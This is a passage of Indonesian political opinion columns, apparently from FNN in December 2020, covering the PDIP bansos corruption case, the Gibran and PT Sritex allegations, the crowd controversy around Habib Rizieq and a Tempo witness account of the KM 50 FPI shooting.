derasnya ombak di jalan juang itu, teruslah mengayuh dengan sekuat mungkin. Seraya menjaga keseimbangan, bangun optimisme bahwa di ujung samudra luas itu ada pulau impian yang akan tercapai. “Innallaha laa yukhliful mii’aad” (Allah takkan pernah ingkar janji). Percayalah! Udara Macazzart, 22 Desember 2020 Penulis adalah Imam di kota New York USA/Presiden Nusantara Foundation

Paniknya Kekuasaan Menurut Al-Quran

by Shamsi Ali Macazzart FNN - Selasa (22/12). Sebuah opini atau pendapat yang disampaikan, baik secara lisan atau tulisan, tidak selalu harus dimaknai sebagai serangan kepada orang-orang tertentu. Apalagi jika tafsiran itu terbangun di atas asumsi-asumsi politis. Al-Quran sendiri penuh dengan cerita masa lalu alias sejarah. Sejarah itu penting. Karena dengan sejarah manusia belajar untuk berubah dan menjadi lebih baik di masa kini dan mendatang. Salah satu sejarah yang sering terulang dalam Al-Quran adalah sejarah kekuasaan di masa lalu. Ada kekuasaan yang berkarakter “ketakwaan”. Yaitu kekuasaan yang terbangun di atas nilai-nilai kebenaran (Al-Haq), kejujuran (al-amanah), dan keadilan (al-adl). Tapi tidak sedikit pula kekuasaan yang terbangun di atas karakter “fujuur” (penyelewengan dan dosa). Kekuasaan ini penuh dengan ketidak jujuran dan kebohongan, ketidak adilan (kezholiman), bahkan kekejaman dan kebiadaban. Lalu menurut sejarah juga Allah Yang Maha Rahman selalu menghadirkan dari kalangan hamba-hambaNya sendiri untuk mengoreksi kekuasaan fujuur (Korup) itu. Musa AS diutus kepada Fir’aun, Ibrahim AS kepada Namrud, dan seterusnya. Dalam usaha mengoreksi kekuasaan itulah tidak jarang terjadi resistensi keras dari kekuasaan korup itu. Bahkan sering terjadi pembungkaman, represi bahkan eliminasi (pembunuhan). Ada dengan cara kasar dan terbuka. Tidak jarang juga dengan senyuman, bahkan keluguan. Tapi ada satu fakta sejarah yang perlu diingat. Bahwa opresi atau kezholiman dan kekejaman penguasa kepada rakyatnya terkadang bukan karena mereka kuat dan hebat. Sebaliknya, justeru justeru karena kepanikan, ketakutan, kelemahan, bahkan awal dari kejatuhan. Kapan dan kenapa Fir’aun tenggelam di laut Merah (Red Sea?).Kapan dan kenapa Namrud terbunuh oleh seekor nyamuk?Kapan dan kenapa Tsamud binasa?Kapan, kenapa dan bagaimana para penguasa zholim dalam sejarah hidup manusia mengalami kehancurannya? Al-Quran memberikan jawaban yang pasti. Bahwa kebinasaan dan kehancuran kekuasaan zholim dan keji itu terjadi di saat rintihan dan suara rakyat kecil tidak lagi terhiraukan. Di saat mereka yang lemah dan terzholimi mengadukan nasib mereka ke Penguasa langit dan bumi. Di saat-saat seperti itulah tabir samawi akan terbuka. Lalu antara doa-doa dan rintihan mereka dan Allah tiada lagi yang membatasi. Allah akan membuka pintu-pintu “nushroh” samawi yang wujudnya kadang di luar jangkauan logika manusia. Seringkali juga Allah tidak secara langsung menghabisi mereka. Justeru diberi kesempatan demi kesempatan untuk sadar. Ini yang dikenal dalam istilah Al-Quran dengan “al-istidraaj”. Fir’aun misalnya diingatkan berkali-kali dengan berbagai bentuk peringatan (azab). Tapi peringatan itu tidak dihiraukan. Hingga pada akhirnya ditenggelamkan oleh Allah di laut merah. Tenggelamnya Fir’aun menjadi indikasi langsung bahwa kekuasaan itu, sekuat apapun, jika kehilangan amanah dan keadilan akan tenggelam. Bisa secara fisik. Boleh juga secara non fisik. Secara fisik mungkin dengan terjungkalnya sang penguasa. Boleh juga tenggelam secara popularitas dan kecintaan publik. Yang pada akhirnya dibenci oleh rakyatnya sebenci-bencinya. Karakter Fir’aun yang keras kepala di hadapan berbagai peringatan mengindikasikan bahwa harapan untuk penguasa zholim berubah itu sangat kecil. Apalagi jika penguasa itu dikelilingi oleh berbagai pihak yang memang kuat dan punya kepentingan. Fir’aun misalnya dikelilingi oleh Haman sang penjilat kekuasaan dan Qarun yang memiliki kepentingan ekonomi. Dalam situasi seperti itu hanya intervensi Ilahi yang diharapkan. Dengan rintihan dan doa-doa tulus dari mereka yang “mahzluumiin” (terzholimi) Allah akan membuka pintu langit dengan ta’yiid (penguatan) dan “nashrun” (pertolongan) untuk mereka. Hal yang harusnya disadari oleh semua kalangan adalah bahwa kezholiman penguasa terhadap rakyat kecil adalah jalan kebencanaan yang besar bagi sebuah bangsa. Karena rakyat adalah “ra’iyah” (terjaga atau terlindungi) yang seharusnya memang dijaga, digembala, diurus, diperhatikan. Bukan ditekan, disemena-seme akan, dan ditelantarka demi kelanggenan kekuasaan itu sendiri. Hanya saja, memang kekuasaan yang sedang mengalami kepanikan akan berbuat apa saja, bahkan terkadang di luar nalar atau logika sehat manusia untuk mempertahankan kekuasaannya. terkadang rasa malu itu menjadi semakian kecil. Kebohongan, sandiwara, tipuan, dan tidak jarang urusan rakyat banyak dijadikan “mainan” demi kepentingan semata. Sebaliknya upaya koreksi kekuasaan oleh rakyat dibalik menjadi kejahatan, usaha penggulingan, dan lain-lain. Ini adalah realita Qurani: “dan jika dikatakan kepada mereka jangan merusak, mereka berkata kami ini orang-orang yang melakukan kebaikan” (Al-Baqarah:11). Prilaku irrasionalitas kekuasaan itu tergambarkan misalnya ketika Namrud terjepit oleh logika Ibrahim AS. Dengan arogansi dan perasaan menguasai segalanya dia menjerit bak kesurupan syetan “uqtuluuhu wanshuruu alihatakum” (bunuh Ibrahim dan tolonglah tuhan-tuhan kalian). Tapi konsistensi dan ketabahan Ibrahim di jalan kebenaran (Al-Haqq), seraya terus berjalan di lorong-losing juang itu,Pada akhirnya menemukan buahnya. “Innni jaa’iluka linnaasi imaama” merupakan buah dari perjuangan panjang itu. Dan karenanya di tengah derasnya ombak di jalan juang itu, teruslah mengayuh dengan sekuat mungkin. Seraya menjaga keseimbangan, bangun optimisme bahwa di ujung samudra luas itu ada pulau impian yang akan tercapai. “Innallaha laa yukhliful mii’aad” (Allah takkan pernah ingkar janji). Percayalah! Udara Macazzart, 22 Desember 2020 Penulis adalah Imam di kota New York USA/Presiden Nusantara Foundation

Setelah Korupsi Juliari, Bagaimana Cara Menyelamatkan PDIP?

by Asyari Usman Medan FNN - Selasa (22/12). Inilah momen yang sangat menentukan bagi Partai Demokrasi Indonesia Perjuangan (PDIP). Banteng sedang sekarat. Dikuliti habis oleh majalah TEMPO. Intinya, korupsi Bansos Covid-19 membuat nama PDIP semakin terperosok. Korupsi bansos oleh Juliari Batubara menunjukkan ada masalah serius di tingkat elit PDIP. Artinya, dalam jangka penjang, partai berlambang kepala banteng ini tidak akan menarik bagi generasi muda, khususnya generasi milenial. Ada yang mulai mempertanyakan apakah entitas politik seperti PDIP bisa dibubarkan gara-gara terlalu banyak kadernya melakukan korupsi. Sebetulnya tidak perlu berpikir untuk membubarkan PDIP. Sebab, partai ini sangat mungkin akan bubar dengan sendirinya. Alias auto-bubar. Mengapa bisa begitu? Pertama, ke depan ini kelangsungan hidup suatu partai akan sangat tergantung pada minat kalangan milenial untuk bergabung. Tanpa kaderisasi milenial yang serius, PDIP akan kehabisan darah untuk terus hidup. Ini yang menjadi masalah besar bagi Banteng. Konektivitasnya dengan generasi milenial sangat lemah, kalau tak bisa dikatakan nyaris tidak ada. Nah, secara umum, anak-anak milenial ‘tak masuk’ dengan cara berpikir dan bertindak Bu Megawati, Puan Maharani, Hasto Kristiyanto, dan para senior PDIP lainnya. Kedua, anak-anak milenial rata-rara sangat benci terhadap korupsi. Juga mereka tak suka kolusi dan nepotisme. Plus, mereka pasti tidak akan suka dengan feodalisme di kerajaan PDIP. Padahal, feodalisme inilah yang menjadi “AD-ART” Banteng. Sekali lagi, yang sangat tidak menarik bagi generasi milenial adalah reputasi jelek PDIP gara-gara korupsi yang dilakukan oleh begitu banyak kadernya. Ketiga, gambaran korupsi yang melilit PDIP saat ini sangat mencemaskan. Boleh dikatakan, Banteng dilanda penyakit korupsi akut. Sulit diobati. Sejauh ini, secara statistik, PDIP menempati urutan teratas sebagai partai dengan kader yang terbanyak terlibat korupsi. Yang terbaru, dalam rentang 10 hari terciduk tiga kader PDIP. Pada 27 November 2020, walikota Cimahi, Ajay Muhammad Priatna, kena OTT dan ditetapkan sebagai tersangka. Tak sampai sepekan kemudian, bupati Banggai Laut, Wenny Bukamo, terkena operasi yang sama pada 3 Desember 2020. Puncaknya, pada 5 Desember 2020, Juliari Peter Batubara yang waktu itu menjabat sebagai menteri sosial juga kena OTT. Juliari dijadikan tersangka penyunatan dana bansos setidaknya Rp10,000 per paket bantuan Covid-19. KPK menduga jumlah yang dikorupsi kemungkinan mencapai Rp100,000 per paket. Ada jutaan paket yang telah didistribusikan kepada warga yang berhak menerima. Sepanjang 2018, ada delapan (8) kepala daerah asal PDIP yang terjaring OTT korupsi. Dari 8 orang itu, tujuh bupati dan satu walikota. Ini dalam 12 bulan saja. Bisa dibayangkan sebesar apa dampak negatif dari OTT delapan kepala daerah ini. PDIP pastilah mandi comberan akibat penangkapan kedelapan kader seniornya itu. Dan juga akibat berbagai penangkapan lainnya. Baik itu sebelum 2018 maupun setelahnya. Pemberitaan tentang PDIP yang terkait dengan korupsi berlangsung masif. Tak terelakkan, publik mengidentikkan PDIP dengan korupsi. Begitulah kesan yang didapat kalangan milenial. Mereka tahu bahwa PDIP sarat dengan skandal korupsi. Generasi milenial juga menyimak banyaknya komentar di media mainstream dan media sosial yang menyebutkan bahwa PDIP adalah partai terkorup di Indonesia. Sepanjang 2002 hingga 2017, dari 341 kasus korupsi kader 12 parpol, 120 diantaranya (35%) adalah kader PDIP. Jadi, sangatlah berat bagi PDIP untuk membawa masuk anak-anak muda yang berpikiran lurus dan sangat membenci korupsi. Tapi, kalau PDIP tak peduli dengan reputasinya, tentu masih tersedia anak-anak muda yang siap melanjutkan praktik korupsi itu. Di tangan mereka inilah nanti PDIP punah dengan sendirinya. Jadi, setelah korupsi bansos Juliari Batubara, pertanyaan besarnya adalah bagaimana cara menyelamatkan PDIP. (Penulis wartawan senior fnn.co.id)

Silakan Tangkap Anak Pak Lurah?

by Hersubeno Arief Jakarta FNN - Senin (21/12). Di media sosial saat ini tengah berlangsung pertempuran seru. Perang kata (TwitWar), perang tagar antara penentang dan pendukung Presiden Jokowi. Di twitter sejak kemarin sudah bergema tagar #TangkapAnakPakLurah. Tagar itu wora wiri di lini masa, menjadi trending topic. Paling banyak cuit, dimention, dan diretweet. #TangkapAnakPakLurah dipicu laporan utama majalah Tempo pekan ini. Judulnya: Korupsi Bansos Kubu Banteng. Dalam artikel Tempo disebutkan, jatah pembuatan goodie bag alias kantong kemasan untuk paket Bansos milik “Anak Pak Lurah.” Frasa Anak Pak Lurah ini mengacu pada Gibran, putra Jokowi yang baru saja memenangkan Pilkada Solo. Perusahaan textil raksasa PT Sritex mendapat jatah pembuatan 1,9 juta kantong kemasan, berkat rekomendasi “Anak Pak Lurah.” PDF, screenshot majalah Tempo menyebar dengan cepat di media sosial. Media-media online juga ikut rame-rame memberitakannya. Gabungan pemberitaan Tempo, pemberitaan media online yang massif dan tagar #TangkapAnakPakLurah ini, rupanya membuat gerah kubu pendukung Presiden Jokowi. Sejak Senin pagi (21/12) tagar #TempoMediaASU mulai bergema. Masuk dalam trending topic Indonesia, namun belum bisa mengalahkan #TangkapAnakPakLurah. Riuh rendahnya pemberitaan dan tagar Anak Pak Lurah ini juga membuat Gibran gerah. Dia menantang agar KPK segera menangkapnya. "Silakan tangkap kalau ada bukti," tantangnya. Melihat pilihan kosa kata ASX, kita sesungguhnya sudah bisa menduga siapa yang bermain di belakang tagar ini. Kosa kata itu khas gaya Jawa Tengahan, khususnya kota Solo. Kata itu adalah sebuah makian. Menunjukkan betapa kesal dan marahnya mereka kepada Majalah Tempo. Masih ingat saat rame-rame jelang Pilpres 2019 lalu? Bupati Boyolali Seno Samudro memaki Capres Prabowo ASX. Gara-garanya, hanya karena Prabowo mengucapkan guyonan “Tampang Boyolali.” Sebuah makian yang sangat tidak pantas terhadap seorang capres. Apalagi sekarang malah jadi Menhan. Mosok seorang Menhan, pembantu Jokowi dimaki ASX. Ketua DPD PDIP Jateng Bambang Wuryanto mencoba menetralisir. Menurut Bambang, makian —pisuhan dalam bahasa Jawa— Itu merupakan kultur anak-anak wilayah Surakarta. Itu menunjukkan sikap yang egaliter. Anak milineal di kota-kota besar seperti Jakarta, Bandung, Jawa Timuran, apalagi luar Jawa, tidak akan menggunakan kosa kata itu. Di Bandung ada padanannya dengan obyek yang sama. Yakni Anjixx. Wajar bila mereka sangat marah dan kesal. Tempo Group dalam beberapa pekan terakhir tidak hanya menelanjangi Juliari dan PDIP, tapi juga menyerang “Anak Pak Lurah.” Sebelumnya, Tempo juga memaparkan data dan fakta yang berbeda seputar tewasnya 6 orang laskar FPI di KM 50. Siapa yang bermain? Siapa yang bermain di belakang #TangkapAnakPakLurah dan siapa di belakang #TempoMediaAsu, petanya akan jelas setelah nanti Big datanya dibaca. Satu hal yang jelas, menjadi media yang merdeka dan independen di negeri ini makin berat. Kalau cuma sekedar dibully dan dimaki dengan #MediaASU siy kadarnya biasa. Situs tempo.co beberapa waktu lalu sempat diretas. Tampilan wajah situsnya diubah (deface). Beberapa channel Youtube yang dianggap kritis dan berada dalam kubu oposisi, diblokir dan tidak bisa ditonton di Indonesia. Channel Front TV milik FPI menghilang dari beranda Youtube. Hanya bisa disaksikan menggunakan VPN atau dari luar negeri. Channel milik saya Hersubeno Point juga diblokir. Untungnya mereka yang sudah subscribe, masih tetap bisa menyaksikan dan mendapat notifikasi. Tak perlu menggunakan VPN. Tanda-tanda kematian demokrasi di Indonesia ada di ambang mata. Orang sudah semakin takut menyatakan pendapat. Urusannya panjang dan bisa berakhir di bui. Kebebasan menyuarakan pendapat sesungguhnya dijamin konstitusi. Media yang independen, bukan mengabdi pada kekuasaan, merupakan indikator sehatnya demokrasi sebuah negara. Media juga disebut sebagai pilar keempat demokrasi. Pendiri Harian Kompas PK Ojong pernah mewanti-wanti. Tugas pers bukanlah untuk menjilat penguasa, tetapi mengkritik orang yang sedang berkuasa! End Penulis wartawan senior fnn.co.id

Gibran Terperosok Dalam Tas Kantong Bansos

by M Rizal Fadillah Bandung FNN – Senin (21/12). Berbeda dengan Habib Rizieq Shihab (HRS). Gibran Bin Jokowi bisa "tertolong" soal pandemi dan kerumunan pasca kemenangan di Solo. Namun tiba-tiba saja Majalah Tempo mengaitkan Gibran Bin Jokowi dengan kasus korupsi bantuan sosial (bansos) Pak Menteri Sosial (Mensos) Juliari Peter Batubara. Putera Presiden Jokowi ini terseret opini yang sedang menunggu pembuktian. Diberitakan Gibran Bin Jokowi "menolong" PT Sritex untuk mendapatkan proyek pengadaan tas kantong bansos. Akibatnya, "Anak Pak Lurah" ini sontak saja menjadi perbincangan hangat di media informasi. Menteri Sosial Juliari Peter Batubara tersandung korupsi dana bansos sebesar Rp 17 triliun. Sang Menteri menarik potongan hingga Rp. 100.000 untuk setiap paket. Tentu saja Pak Menteri Jualiari tidak sendirian dalam soal ini. Kemungkinan banyak juga pejabat Kemensos yang terlibat. Ketua Komisi Pemberantasan Korupsi (KPK) Firli Bahuri mengingatka bahwa Juliari dapat terancam hukuman mati berdasarkan ketentuan Pasal 2 ayat (2) UU No 20 tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi. Ancaman hukuman bagi mereka yang korupsi dana bencana. Uang dari negara yang seharusnya dinikmati oleh masyarakat yang sedang susah dan menderita. Majalah Tempo edisi terbaru memberi judul cover "Korupsi Bansos Kubu Banteng" dengan gambar kantong bansos bertuliskan "Dana bansos yang disunat Menteri Juliari Batubara diduga mengalir sampai ke tim pemenangan kepala daerah PDIP. Elit partai banteng disebut-sebut terlibat". Entah karena PDIP tersudutkan dalam kasus korupsi ini, dengan adanya pernyataan Presiden yang menegaskan tidak akan melindungi pelaku korupsi, maka tiba tiba Gibran putera Presiden ikut disebut-sebut. Konflik Jokowi dengan Mega dimulai? Dimulai dari dua staf Kementrian Sosial (Kemensos) yang menceritakan bahwa keduanya diperintahkan untuk menghentikan pencarian vendor penyedia tas bansos karena "itu bagiannya anak pak lurah" katanya. Semula pencarian diarahkan pada Usaha Mikro Kecil dan Menengah (UMKM). Namun atas rekomendasi Gibran Rakabuming Raka Bin Jokowi, maka penyedia tas bansos yang berjumlah 10 Juta unit itu diberikan kepada PT Sritex. KPK akan memanggil dan memeriksa Direktur PT Sritex dan Gibran. Pemeriksaan keduanya untuk membuktikan keterlibatan mereka dalam kasus korupsi yang menimpa Mensos Juliari dari PDIP dan pejabat lainnya. Hal ini menjadi sangat menarik karena dapat menjadi momen pengujian atas ketegasan Presiden dalam pemberantasan korupsi. Anak yang disayangi, dan awal tidak didorong untuk berkiprah dalam bidang politik itu kini disebut-sebut terlibat skandal. Selama ini majunya Gibran di Pilkada Solo telah disorot habis-habisan sebagai bagian dari nepotisme yang dahulu populer dengan sebutan KKN. Kini Gibran terjebak. Bukan saja terjebak dalam pusaran nepotisme. Tetapi juga dugaan korupsi dan kolusi. Masyarakat menilai Jokowi memaksakan sang putera untuk menempuh karier yang sama, yaitu mulai dengan jabatan Walikota Solo. Jika sang ayah awal sebagai pengusaha meubeul, maka sang anak adalah pengusaha martabak. Dua duanya sebenarnya diragukan kemampuannya di bidang pengelolaan negara. Ada faktor keberuntungan dan kepentingan dukungan. Jokowi dan Gibran seharusnya membaca puisi Kahlil Gibran. Bagian puisi Kahlil Gibran, sang penyair cerdas asal Lebanon yang berjudul "Anakmu bukan milikmu" cukup menarik. "Anakmu bukan milikmu Tetapi anak kehidupan Yang rindu akan dirinya Bisa saja mereka mirip dirimu Tapi jangan menuntut agar menjadi sepertimu Sebab kehidupan itu bergerak ke depan Bukan tenggelam di masa lampau" Pak Jokowi rupanya tidak membaca puisi Kahlil Gibran ini, atau mungkin membaca tetapi tidak peduli dengan urusan puisi. Karena puisi Kahlil Gibran ini pasti tidak berhubungan dengan investasi dan hutang luar negeri. Menjadikan Gibran sang putera sebagai kegiatan investasi justru membawa dirinya akan dekat dengan korupsi. Kini Gibran terperosok ke dalam tas kantong bansos. Tindak pidana korupsi sang Menteri Juliari Peter Batubara. Menterinya Pak Jokowi. Penulis adalah Pemerhati Politik dan Kebangsaan.

Diskresi Menkopolhukam Ikut Menghasut Kerumunan Orang?

by Gde Siriana Jakarta FNN – Ahad (20/12). Menarik perhatian publik ketika Gubernur Jawa Barat (Jabar) Ridwan Kamil (RK) memberikan menuding secara halus bahwa Menteri Koordinator Bidang Politik Hukum dan Keamanan (Menkopolhukam) Mahfud MD sebagai sumber kekisruhan. Persoalan kekisruhan yang berkaitan dengan kerumunan Habib Riziek Shihab (HRS) yang kini menjadi persolan hukum. Tudingan langsung ini terkait diskresi Menkopolhukam yang membolehkan kerumunan orang saat penjemputan HRS di bandara Soekarno Hatta. Padahal sebelumnya pemerintahsudah mengingatkan masyarakat untuk tidak membuat kerumunan orang. Keterusterangan Ridwa Kamil seperti puncak kekesalan Daerah kepada Pusat. Kekesalan yang sebelumnya seringkali menunjukkan inkonsistensi terkait penanganan pandemi covid 19. Satu sisi Pusat mengintruksikan Pemda untuk kerja serius dan extraordinary. Namun sisi lain, misalnya Pemerintah Pusat memaksakan Pilkada tetap berjalan meski masih pandemi. Bagaimana mungkin Kepala Daerah (apalagi petahana) bisa fokus pada penanganan pandemi? Sebab di saat yang bersamaan petahana harus ikuti proses Pilkada minimal 3-6 bulan sebelum hari pencoblosan. Ucapan Ridwan Kamil ini mewakili Pemda lainnya yang punya pandangan sama tetapi mereka tidak berani menyampaikannya di depan publik. Gubernur DKI Jakarta Anies Baswedan tentu menghadapi situasi yang sulit untuk menyampaikan larangan kerumunan orang pada acara-acara HRS selanjutnya. Apalagi ketika Pusat yang diwakili Menkopolhukam sudah membolehkan kerumunan orang saat menjemput HRS di bandara. Tetapi setidaknyasecara administraif Anies Baswedan sudah mengenakan sanksi denda kepada HRS sebagi bentuk tanggung jawabnya secara proporsional. Sekarang Pemda DKI dan Jawa Barat disalahkan terkait kerumunan yang dihadiri HRS. Sayangnya, alasan Menkopolhukan Mahfud MD bahwa diskresinya hanya terbatas pada kerumunan saat penjemputan HRS di bandara hingga diantar sampai petamburan. Ini bentuk diskresi yang mengundang bahaya dan menyulitkan kewenangan Pemda. Bahwa kemudian Pemda harus bekerja keras untuk melarang terjadinya kerumunan berikutnya pasca penjemputan HRS di bandara itu bukan soal mudah. Bukan seperti halnya melakukan pekerjaaan mekanis. Akan lebih mudah bagi daerah untuk memperkuat konsistensi pusat dari pada menafsirkan batas-batas dari inkonsistensi pusat. Seharusnya Menkopolhukam sudah menyadari kondisi kerumunan itu sebelum melakukan diskresi. Atau memang tidak mempertimbangkan psikologi massa pendukung HRS yg menganggap kerumunan lainnya pun sama derajatnya dengan kerumunan penjemputan HRS sepanjang mengikuti protokol kesehatan (prokes). Sama halnya dengan masyarakat memandang kerumunan orang pada pendaftaran Pilkada di berbagai daerah. Jadi, bisa dipertimbangkan bahwa diskresi Menkopolhukam menjadi semacam faith accompli kepada Pemda DKI dan Jabar dalam menafsirkan diskresi Menko. Publik tentu saja kaget dengan pembelaan Menkopolhukam terkait batasan diskresinya. Sebab ini hanya mempertegas dualisme dan inkonsistensi kebijakan pemerintahan Jokowi dalam mengatasi pandemi covid 19. Sebelumnya juga terjadi begitu. Saat tiket pesawat diskon dan promo liburan dibiarkan, meski ada tambahan pesan "ikuti prokes". Namun tetap saja ini membuat Pemda kewalahan menghadapi kerumunan massa di lokasi liburan. Juga soal Pilkada. Saat pendaftaran dibiarkan kerumunan orang, dan lagi-lagi cukup dengan pesan harus "ikuti prokes". Alhasil Pemda pun makin berat kerjanya ketika banyak kerumunan terkait Pilkada. Bukan hanya saat pendaftaran. Tetapi juga terjadinya kerumunan kecil di kawasan pemukiman, dimana timses paslon bergerilya. Dan kerumunan kecil ini banyak tidak tersorot oleh media. Juga dilaporkan ketika petugas pilkada positif tertular. Ini pasti menambah pekerjaan Pemda dalam melakukan test dan tracing. Kesimpulannya, setelah berbulan-bulan perilaku pemerintah seperti uraian di atas, wajar saja jika kemudian masyarakat menafsirkan kerumunan yang lain seperti di pasar, di cafe, di Pilkada, di obyek wisata, acara keagamaan, termasuk acara-acara yang dihadiri oleh HRS, diperbolehkan saja asal mengikuti aturan prokes. Dalam situasi sudah kusut seperti ini, apakah diskresi Menkopolhukam ini dapat diperlakukan oleh penegak hukum (polisi) sama halnya seperti polisi mentersangkakan HRS dan lima orang pengurus FPI terkait kerumunan Petamburan? Juga ketika Polisi mengenakan tuduhan penghasutan aksi menentang OmnibusLaw pada Aktivis Koalisi Aksi Menyelematkan Indonesia (KAMI) Syahganda Nainggolan, Jumhur Hidayat dan Anton Permana? Apakah diskresi Menkopolhukam ini juga bisa dianggap ikut mendorong dan membiarkan terjadinya kerumunan orang di Bandara? Tentunya jika para deklarator KAMI tersebut bisa dikenakan pasal penghasutan, diskresi Menkopolhukam juga bisa dianggap ikut mendorong, atau setidaknya membiarkan terjadinya kerumunan orang. Semestinya Mahfud MD punya kewenangan untuk melarangnya. Tetapi sekali lagi, penafsiran hukum sangat dipengaruhi oleh posisi dan subyektifitas pihak yang menafsirkannya. Penulis adalah Direktur Eksekutif INFUSS

Lewat Diplomat Jerman, Uni Eropa Ikuti Kasus Pembunuhan 6 Laskar FPI

by Asyari Usman Medan FNN - Minggu (20/12/20). Di dunia ini, tidak ada kelompok negara yang paling peduli HAM kecuali Uni Eropa (UE). Itulah yang terjadi kemarin ketika delegasi diplomat Jerman mendatangi sekretariat FPI. Ini merupakan isyarat bahwa UE ingin mendapatkan informasi “first hand” tentang pembunuhan 6 laskar FPI. Jerman adalah salah satu negara UE yang banyak menyediakan dukungan politik dan finansial untuk orang atau komunitas yang diperlakukan sewenang-wenang. Mereka tahu persis apa yang sedang terjadi di Indonesia. Khususnya apa yang terjadi terhadap Habib Rizieq Syihab (HRS) dan gerakan yang menuntut keadilan. Hampir pasti, para diplomat Jerman itu sudah sejak lama mengamati sepak terjang penguasa di sini. Mereka mencatat kesewenangan para penguasa. Termasuk kezaliman aparat Kepolisian. Khususnya pembunuhan terhadap 6 laskar FPI yang diduga melanggar ketentuan hukum (unlawful killing). Para diplomat Jerman itu pastilah telah mengumpulkan banyak catatan tentang tindak kekerasan yang selama ini dilakukan oleh aparat kepolisian. Termasuklah tindakan tak berperikemanusiaan yang dialami oleh para pendemo terkait hasil pilpres 2019 dan para pendemo UU Omnibus Law. Dan juga dalam berbagai peristiwa unjuk rasa lainnya. Pembunuhan 6 laskar FPI belum lama ini tampaknya dinilai sebagai klimaks kesewenangan para penguasa. Sekaligus, para diplomat Jerman itu menjadikan pembunuhan ini sebagai momentum untuk memberikan peringatan kepada pemerintah Indonesia bahwa kesewenangan harus dihentikan. Sangat mungkin para diplomat Jerman itu ditugaskan oleh UE untuk memgumpulkan informasi mengenai pembunuhan para laskar. Mereka, boleh jadi, sudah mengamati secara saksama tindakan aparat kepolisian dalam peristiwa itu. Jadi, tidak diragukan lagi bahwa kunjungan para diplomat Jerman tsb akan memperbesar aspek internasional dari pembunuhan 6 laskar FPI. Kita akan melihat perhatian yang lebih besar dari Uni Eropa.[] (Penulis wartawan senior fnn.co.id)

Wawancara TEMPO: Berarti Penembakan KM 50 “Terencana?"

by Mochamad Toha Surabaya FNN – Sabtu (19/12/20). Koran.tempo.co menulis, Rest Area Km 50 Jalan Tol Jakarta-Cikampek, Senin dinihari, 7 Desember lalu. Hampir semua mata tertuju pada Chevrolet Spin yang melaju tanpa ban kiri depan. Brak. Minibus itu lalu menabrak Toyota Corolla di akses keluar area rehat. Dalam hitungan detik, sejumlah pria bersenjata mengepung mobil yang belakangan diketahui sebagai kendaraan pengawal Habis Rizieq Shihab tersebut. Dua orang di Chevrolet Spin itu diperkirakan telah tewas dan empat orang lainnya ditangkap. Itu merupakan jam terakhir hidup mereka. Sekitar pukul 03.00, enam jenazah anggota Front Pembela Islam tersebut tiba di Rumah Sakit Polri di Kramat Jati, Jakarta. Seorang saksi di Rest Area Km 50 menceritakan penangkapan tersebut kepada Tempo. Dia melihat tiga orang ditelungkupkan di aspal. Salah satunya kemudian mendapat tendangan di kepala. “Sebelum ditendang, kedengaran suara 'ampun, Pak',” kata dia kepada tim liputan Tempo di sebuah kota di luar Jakarta, Rabu dinihari lalu. Tidak mudah baginya untuk menceritakan kesaksian itu. Sebab, identitas setiap pedagang area rehat itu dicatat polisi, sementara pengelola meminta mereka tutup mulut. Dengan bantuan seorang perantara, Tempo membutuhkan lebih dari sepekan untuk meyakininya agar bersedia diwawancarai dengan rekaman suara dan video. Beberapa keterangan yang memperkuat kesaksian tidak kami tuliskan karena dapat mengarah pada pengungkapan identitas saksi. Sejumlah pertanyaan kami ajukan berulang-ulang pada waktu terpisah dan jawabannya konsisten. Menurut saksi, polisi berseragam serba hitam memeriksa telepon seluler banyak orang di Rest Area Km 50 malam itu untuk memastikan tidak ada foto dan rekaman video. Aparat, termasuk yang berbaju sipil, berada di lokasi itu sekitar tujuh jam sebelum penangkapan. Berikut petikan wawancara Tempo: Apa yang membuat Anda melihat ke arah mobil korban? Pas mobil lewat, kaget, karena ada suara kretek-kretek. Suara pelek kena aspal. Terus nabrak mobil di depannya. Jeger. Dikira ada tabrakan. Langsung semua berkumpul di situ. Anda mendekat? Ya. (Saksi mendeskripsikan posisi dan dekatnya jarak dia dari mobil tersebut). Apa yang pertama Anda lihat? Pas saya lihat, sudah pada tiarap. Berapa orang? Yang saya lihat tiga. Mereka masih hidup? Yakin masih hidup. Apa yang membuat Anda yakin? Karena bergerak. Gerakannya bagaimana? (Menolehkan kepala ke kanan-kiri) Meleng-meleng karena waktu itu gerimis. Posisi tangan korban? Tangan ditindih badan. Dua-duanya. Selain tiga orang itu, Anda melihat apa? Saya melihat pas mengeluarkan satu orang lagi. Kayaknya udah meninggal itu. Orang itu penumpang minibus? Orang yang dari dalam mobil. Di pintu belakang kiri. Kenapa menyebut dia meninggal? Dia enggak gerak. Bagaimana cara petugas mengeluarkan? Ditarik. Bagian belakang atau depan badan? Belakang. Seluruh badan dikeluarkan? Saya melihat yang dikeluarkan setengah badan. Lalu dilepas. Kepalanya jatuh ke aspal. Hanya melihat satu korban meninggal? Kawan saya melihat ada lagi. Di pinggir kursi sopir. Tapi enggak dikeluarin. Apa hal lain yang petugas lakukan di mobil itu? Saya melihat mereka mengeluarkan senjata. Celurit sama samurai. Jam berapa peristiwa terjadi? Setengah satu. Lewat jam 12. Dengar suara tembakan? Tidak. Tapi kawan saya dengar. Dia bilang dua kali, habis mobil berhenti. Kawan saya melihat pas masuk, mobil itu sudah hancur. Bagian depan, kiri, kanan, sudah rusak. Di depannya, ada mobil. Jadi nabrak dan berhenti. Kawan saya juga melihat mobil itu dibuntuti. Penguntitnya berhenti jauh di belakang. Arah dari pintu masuk, di sebelah kiri jalan. Teman Anda juga melihat tiga orang ditelungkupkan? Kawan saya melihat empat. Karena sudut pandang beda dan gelap. Berapa lama mereka diminta tiarap? Kira-kira lebih dari 30 menit. Lama-lah. Sampai bete juga nunggunya. Tiga atau empat orang itu tidak berubah posisi selama 30 menit? Saat mereka tiarap, saya lihat ada yang kepalanya ditendang. Satu orang. Sebelum ditendang, kedengeran suara "Ampun, Pak." Anda melihat saat korban dipindahkan ke mobil? Pas dimasukin mobil, saya enggak lihat. Tapi saya lihat dua orang jalan jongkok sambil (menempatkan kedua tangan di belakang kepala). Jaraknya lumayan dari tempat kejadian. Berapa orang? Saya lihat dua. Kawan saya melihat tiga. Seorang lagi kepalanya kayak diperban gitu sebelum dimasukin ke mobil. Mereka diborgol? Tidak. Mengapa Anda mengatakan petugas telah berada di lokasi sebelum kejadian? Mereka ada sejak (Ahad, 6 Desember) sore, menjelang magrib. Pas wudu mau salat magrib, senjatanya diselempangin di punggung. Apa warna seragamnya? Hitam-hitam. Anda yakin 